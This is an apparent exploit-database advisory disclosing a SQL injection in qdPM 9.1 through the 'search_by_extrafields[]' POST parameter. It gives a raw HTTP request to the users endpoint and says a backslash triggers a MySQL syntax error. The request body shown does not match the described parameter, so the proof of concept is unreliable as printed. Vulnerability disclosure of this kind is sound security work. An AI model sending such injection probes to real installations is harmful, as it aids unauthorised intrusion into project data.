qdPM 9.1 - 'search_by_extrafields[]' SQL Injection

ID: 101017
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
  Free project management tool for small team
  qdPM is a free web-based project management tool suitable for a
small team working on multiple projects.
  It is fully configurable. You can easy manage Projects, Tasks and
People. Customers interact
  using a Ticket System that is integrated into Task management.
# POC - SQLi
# Parameters : search_by_extrafields[]
# Attack Pattern : URL encoded POST input search_by_extrafields[] was set to \
  Error message found : You have an error in your SQL syntax
# POST Request: http://localhost/qdpm/index.php/users
POST /qdpm/index.php/users HTTP/1.1
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21
(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

1-4-2 (www01)